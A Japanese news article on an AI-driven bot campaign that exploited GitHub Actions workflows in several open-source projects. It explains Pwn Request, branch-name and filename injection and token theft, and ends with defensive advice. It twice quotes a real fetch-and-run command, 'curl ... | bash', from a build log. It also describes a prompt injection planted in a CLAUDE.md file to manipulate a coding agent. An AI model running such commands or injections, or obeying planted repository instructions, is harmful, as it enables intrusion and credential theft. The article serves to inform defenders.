最近、自律型AI搭載ボットが主要オープンソースリポジトリ全体にわたりGitHub Actionsワークフローをシステム的に悪用し、複数ターゲットでリモートコード実行を達成するとともに、書き込み権限を持つ認証情報を窃取した。StepSecurityの共同創業者 Varun Sharma氏は2026年2月21日から2月28日にかけてのMicrosoft、DataDog、Aqua Security、Cloud Native Computing Foundationのプロジェクトを標的とした攻撃を公表した。
GitHubアカウント hackerbot-claw(その後 GitHub により削除)を操作していた攻撃者は、自身を「claude-opus-4-5 により駆動される自律型セキュリティ研究エージェント」と説明している。このボットはawesome-go(スター140,000以上)、Aqua SecurityのTrivy(スター25,000以上)、およびRustPython(スター20,000以上)を含む7つの標的リポジトリのうち5つでリモートコード実行を達成した。すべての攻撃は同一のペイロードを配信したが、悪用手法は完全に異なっていた。
awesome-goに対する攻撃では「Pwn Request」脆弱性、すなわち信頼されていないforkコードをcheckoutするpull_request_targetワークフローが悪用された。18時間にわたって攻撃者はGITHUB_TOKEN を外部送信するGo init()関数をリファインし、コミットのpush権限およびプルリクエストのマージ権限を取得した。
Trivyの侵害は最も深刻であった。ビルドログには、「Set up Go」中にcurl -sSfL https://hackmoltrepeat.com/molt | bashが実行され、数秒ではなく5分以上かかったことが記録されている。19分後、窃取されたPATが直接コミットをpushした。Aqua Securityのインシデント開示によると、攻撃者はリポジトリをprivateに変更し、178件のリリースを削除し、スター32,000以上を削除し、不審なVSCode拡張機能をpushした。
MicrosoftのAI-discovery-agentはブランチ名インジェクションによって侵害された。DataDog社のdatadog-iac-scannerは、base64でエンコードされたコマンドを用いたファイル名インジェクションの被害を受けた。DataDog社は9時間以内に緊急の修正をデプロイした。
この攻撃キャンペーンには初めて記録されたAI対AI攻撃が含まれていた。攻撃者は、リポジトリの「CLAUDE.md」ファイルを、Claude Codeを操作することを目的としたソーシャルエンジニアリングインストラクションに置き換えた。Claude(claude-sonnet-4-6で稼働)はこのインジェクションを直ちに特定し、「⚠️ PROMPT INJECTION ALERT — Do Not Merge」でレビューを開始した。
すべての攻撃はアプリケーションセキュリティでよく知られたパターン:信頼されていないデータが検証されずにsourceからsinkに到達に従っている。ハッカーのJamieson O'Reilly 氏が説明した:
sourceとは外部または信頼されていない起点からデータがシステムに入り込むあらゆる箇所を指します。CI/CDパイプラインではsourceは多くの人が認識しているよりも広範囲です:ブランチ名、プルリクエストタイトル、コメント本文、ファイル名。sinkはそのデータが影響を及ぼす形で消費されるあらゆる箇所を指します。
Microsoftでは攻撃者はbashコマンド置換を含むブランチ名を使用した;DataDogでbase64 エンコードされたファイル名を使用した;awesome-go ではリポジトリシークレットでfork コードを実行するpull_request_targetが悪用された。Trivy のログでは「Set up Go」中に curl -sSfL https://hackmoltrepeat.com/molt | bash が5分以上実行されていたことが確認できる。19分後、窃取された PAT がプルリクエストレビューをバイパスした。
O'Reilly氏は述べた:
SQLインジェクションはクエリにおける信頼されていない入力です。XSSはブラウザにおける信頼されていない入力です。今週起きたことは、CI/CDパイプラインにおける信頼されていない入力です。
成功した5件の攻撃のうち3件は信頼されていないcheckoutを伴うpull_request_targetを悪用した-これはpull_request_targetトリガーと攻撃者が制御するforkコードのcheckoutを組み合わせたクラシックなPwn Requestパターンである。残る2件の攻撃はシェルコンテキスト内でサニタイズされていない ${{ }} 式を用いたスクリプトインジェクションを悪用した。
組織はpull_request_targetを使用しているワークフローを監査し、それらの権限をcontents:デフォルトでread権限に制限し、コンテキスト式を直接展開するのではなく環境変数に移すべきである。コメントトリガーのワークフローではauthor_associationチェックを行い、実行をリポジトリメンバーに限定する必要がある。
O'Reilly氏は強調した。
データを扱うコードを書くたびに、そのデータがどこから来たのか、攻撃者が制御できるのか否かを自問すべきです。信頼境界を明確に捉えられないなら、おそらく信頼境界はありません。
セキュリティ研究者らはこのキャンペーンが現在も継続していることを確認した。なお、攻撃者の GitHub アカウントはその後削除された。GitHub Actionsセキュリティを専門とする研究者 Adnan Khan 氏はこの進行中の脅威についてコミュニティに警告した。